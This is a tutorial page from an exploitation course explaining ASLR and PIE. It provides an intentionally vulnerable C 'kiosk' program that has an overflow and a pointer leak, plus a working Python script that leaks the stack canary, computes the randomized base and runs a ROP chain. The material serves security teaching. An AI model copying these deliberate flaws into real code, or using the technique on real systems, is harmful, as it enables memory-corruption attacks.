ASLR and PIE
Moving the target
Section titled “Moving the target”When the stack stopped being executable, you still had control of the return address, but the instructions you’d put in the buffer were no longer useful. Borrowing the program’s own code got you past that restriction: those instructions were already in executable memory, and NX had no reason to stop them. The chain worked because you knew where to find them. What happens if those addresses no longer survive the next run?
Address space layout randomization, or ASLR, makes memory locations less predictable by varying where regions are placed when a program starts. The file can contain exactly the same functions and gadgets while their addresses differ between runs. Knowing that an instruction exists in the file no longer tells you where the running process has it.
This is why NX and ASLR work so well together. NX alone leaves existing code available at predictable addresses; ASLR alone doesn’t prevent injected instructions from executing if an attacker can reach them. Together, they make the attacker deal with both problems: finding usable code and locating it in memory. Microsoft’s explanation of their combined effect describes this relationship using the Windows name for execution protection, DEP.
For the chain we’re building, that means another primitive: an address leak, a way to get the program to reveal a pointer into its own memory. The overflow lets us overwrite the return address, but it doesn’t tell us what address belongs there. We now need information from the running process as well as control over what it does.
Letting the executable move
Section titled “Letting the executable move”The kiosk has the same shape you’ve been working with: a canary, two reads into one buffer, an echo between them, a sealed value it never prints, and a form number whose constant contains 5f c3.
Create a fresh working directory and move into it:
mkdir -p ~/underdunn-course/aslr ~/underdunn-course/notescd ~/underdunn-course/aslrSave this complete program as kiosk.c:
#include <stddef.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
char ledger[64];
static const unsigned char sealed[] = { 0x77, 0x5e, 0x5f, 0x5c, 0x5e, 0x49, 0x1b, 0x54, 0x4b, 0x5e, 0x55, 0x01, 0x1b, 0x0f, 0x0a, 0x1b, 0x5e, 0x55, 0x4f, 0x49, 0x52, 0x5e, 0x48, 0x15,};
static void session(void){ int slot = 1; char note[256] = {0};
printf("Session %p\n", (void *)ledger); puts("Note:"); read(0, note, 265); printf("Filed (%d): %s\n", slot, note);
puts("Revise?"); read(0, note, 512); printf("Filed (%d): %s\n", slot, note);}
static void unseal(void){ for (size_t i = 0; i < sizeof sealed; i++) ledger[i] = (char)(sealed[i] ^ 0x3b);}
static void tag(unsigned form){ if (form == 0x01c35f4eu) puts("Kiosk ready."); else puts("Kiosk ready (unrecognised form).");}
int main(void){ setvbuf(stdout, NULL, _IONBF, 0); unseal(); tag(0x01c35f4eu); session(); puts("Kiosk closed."); exit(0);}As on the previous page, unseal reverses a simple XOR so the ledger is not stored as readable text, while setvbuf keeps each prompt visible to the solver. Neither contributes a protection.
The extra printf prints the address of ledger as a session identifier, so the program’s own output gives us an address to compare across runs. main calls exit rather than returning so the example also contains an exit@plt entry for the final chain; that is course scaffolding, not a requirement of PIE or ASLR.
Build it with:
gcc -g -O0 -fno-omit-frame-pointer kiosk.c -o kioskThe relevant change is that -no-pie is gone. With the Ubuntu toolchain used for the recorded example, that allows the default position-independent executable, or PIE, build.
The two names describe different jobs:
- PIE lets the executable load at different base addresses.
- ASLR varies the placement between runs.
The remaining flags keep debugging information, disable optimization and retain frame pointers so the compiled program stays easier to inspect. GCC’s link options describe the distinction between PIE and non-PIE output.
readelf -h ./kiosk | grep Type Type: DYN (Position-Independent Executable file)Here readelf identifies the result as a position-independent executable. The ELF types are worth distinguishing:
- PIE executables and shared libraries both use
DYN. - An ordinary non-PIE executable reports
EXEC.
Sharing a type with a library doesn’t make this program one.
Restore address randomization inside the course VM if an earlier exercise left it disabled:
sudo sysctl -w kernel.randomize_va_space=2The Linux kernel’s description of this setting covers the stack, shared libraries and PIE code, with value 2 also enabling heap randomization.
Keep it enabled after this exercise; disabling it was a temporary condition for the earlier measurements.
What moved
Section titled “What moved”Run it three times and read the second line of each.
./kiosk < /dev/null | sed -n '2p'Session 0x5822280a4040Session 0x5e398d15a040Session 0x5745c27e9040The addresses differ, but every one finishes 040. Your full addresses needn’t match these recorded runs; compare what changes between your own runs of the same binary.
In this x86-64 example the image’s base is aligned to a 4 KiB page boundary, so its low twelve bits are zero. Moving that base doesn’t rearrange the file’s contents: ledger remains the same distance from it, which preserves the bottom three hexadecimal digits of this symbol’s address.
The page alignment and fixed symbol offset explain the shared ending. The three outputs illustrate that rule; they don’t establish it on their own, or tell us that every address the process uses has a fixed ending.
Offsets in the file, addresses at runtime
Section titled “Offsets in the file, addresses at runtime”nm ./kiosk | grep ' B ledger$'0000000000004040 B ledger0x4040 isn’t the runtime address of ledger in any of these runs. It’s an offset within the executable image, which is why it stays useful even though it doesn’t match the addresses printed above.
You met the same base-and-offset relationship in libc. Here it applies to the executable itself: a tool reports a value relative to the image’s base, while the runtime address also depends on where that image was loaded.
That’s the useful similarity to a shared library: how the addresses are formed.
Everything you need is in the same position:
ROPgadget --binary ./kiosk --only 'pop|ret' | grep ' pop rdi ; ret'objdump -d -Mintel ./kiosk | grep -E '<(puts|exit)@plt>:'0x000000000000146d : pop rdi ; ret00000000000010a0 <puts@plt>:00000000000010f0 <exit@plt>:These four values describe locations within the image, rather than their full addresses in a running process. The executable file can tell you its layout, but it doesn’t check the randomized base chosen for a particular run.
The kiosk tells you where it is
Section titled “The kiosk tells you where it is”The session identifier supplies information about the running process:
printf("Session %p\n", (void *)ledger);The pointer printed as a session handle is a deliberate disclosure in this example. It might look like a convenient identifier, but its role here was chosen, not discovered in a real application.
The printed value gives the runtime address of ledger, while nm gives its offset in this binary. For the recorded run below, the difference between them is the base:
base = 0x5a701b610040 - 0x4040 = 0x5a701b60c000The result ends in 000, as we’d expect from the image’s page alignment. That’s a consistency check, not proof that every input to the calculation is correct.
Select one of the three recorded successful runs. These offsets belong to kiosk, not to libc or the stack. The bands are not drawn to scale.
Image base 0x5a701b60c000
One executable image · offsets increase upward
0x5a701b610040
0x5a701b60c000
Addresses for the selected run
- Leaked ledger address
- 0x5a701b610040
- Known ledger offset
- 0x4040
- Subtract offset → base
- 0x5a701b60c000
- Base + 0x146d → gadget
- 0x5a701b60d46d
- libc base
- Not established by this leak
All four symbols move by the same amount because their offsets belong to the same unchanged image. The base ends in 000; ledger retains the low digits 040.
Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.
Rebuild the chain
Section titled “Rebuild the chain”Save this complete script as solve.py:
import osimport subprocessfrom struct import pack, unpack
TARGET = "./kiosk"OFF_LEDGER = 0x4040OFF_POP_RDI = 0x146dOFF_PUTS = 0x10a0OFF_EXIT = 0x10f0
def read_until(stream, marker): data = bytearray() while marker not in data: chunk = os.read(stream.fileno(), 4096) if not chunk: raise RuntimeError(f"process ended before {marker!r}") data.extend(chunk) return bytes(data)
p = subprocess.Popen([TARGET], stdin=subprocess.PIPE, stdout=subprocess.PIPE)head = read_until(p.stdout, b"Note:\n")handle = int(head.split(b"Session ", 1)[1].split(b"\n", 1)[0], 16)base = handle - OFF_LEDGER
p.stdin.write(b"A" * 265)p.stdin.flush()leak = read_until(p.stdout, b"Revise?\n")body = leak.split(b"Filed (1): ", 1)[1]canary = unpack("<Q", b"\x00" + body[265:272])[0]
chain = b"".join(pack("<Q", v) for v in ( base + OFF_POP_RDI, base + OFF_LEDGER, base + OFF_PUTS, base + OFF_POP_RDI, 0, base + OFF_EXIT,))
payload = b"B" * 264 + pack("<Q", canary) + b"C" * 8 + chainp.stdin.write(payload)p.stdin.close()
output = p.stdout.read()status = p.wait()tail = next( (line for line in output.splitlines() if b"Ledger open:" in line), b"not printed",)
print(f"handle {handle:#x} base {base:#x} status {status} " f"tail: {tail.decode(errors='replace')}")The first read recovers the canary. The new part is the address calculation: every destination in the chain is formed from the base computed for this run.
Run the script three times:
python3 solve.pypython3 solve.pypython3 solve.pyhandle 0x5a701b610040 base 0x5a701b60c000 status 0 tail: Ledger open: 41 entries.handle 0x5f5ec4a29040 base 0x5f5ec4a25000 status 0 tail: Ledger open: 41 entries.handle 0x5fe49d042040 base 0x5fe49d03e000 status 0 tail: Ledger open: 41 entries.The bases differ, but the recorded output is the same. The result depends on the deliberately printed pointer and the known layout of the matching binary, not just on the presence of an overflow.
Knowledge check
Question 1 of 3
Practice complete
You've checked the key ideas. Revisit any explanation you need, then continue when it makes sense.
When it doesn’t work
Section titled “When it doesn’t work”- If every run reports the same base, check where you measured it. GDB disables randomization by default for processes it starts on Linux, so measurements made there may not reflect the system setting. Check whether the process ran inside or outside the debugger.
- A computed base that doesn’t end in
000conflicts with the expected alignment here, but that observation alone doesn’t identify which input is wrong. - An immediate fault doesn’t establish that randomization caused it. Keep the failure output separate from your explanation of it.
- The printed handle is hexadecimal in this environment; check the original text alongside any parsed value.
- Missing output doesn’t by itself tell you which protection or part of the program stopped the run.
To recover a confused comparison, rebuild from kiosk.c, repeat the four offset commands, and update the constants in solve.py if your listing differs. Keep each output with the handle and base from that same run.
Check your understanding
Section titled “Check your understanding”Suppose a colleague rebuilds the program, sees another address ending in 040, and concludes that the binary’s layout hasn’t changed. What do the matching digits tell them, and what remains unknown?
Check your reasoning
The addresses share their low twelve bits. Different offsets can have those same low bits, and rebuilding may change the image’s layout.
Our earlier explanation concerned repeated runs of the same binary. A matching address ending isn’t a fingerprint that proves two builds are identical.
Where a return belongs
Section titled “Where a return belongs”We’ve now seen three protections constrain different parts of the example:
- The canary checks a value near the saved return address.
- A non-executable stack prevents instruction fetches from stack pages.
- ASLR varies memory placement.
None of those checks establishes that a return leads back to the expected caller.
An address can point to executable memory and still be the wrong destination for this particular return. Checking that relationship is a different kind of defence from making the destination harder to locate, and it’s the question we’ll take up next.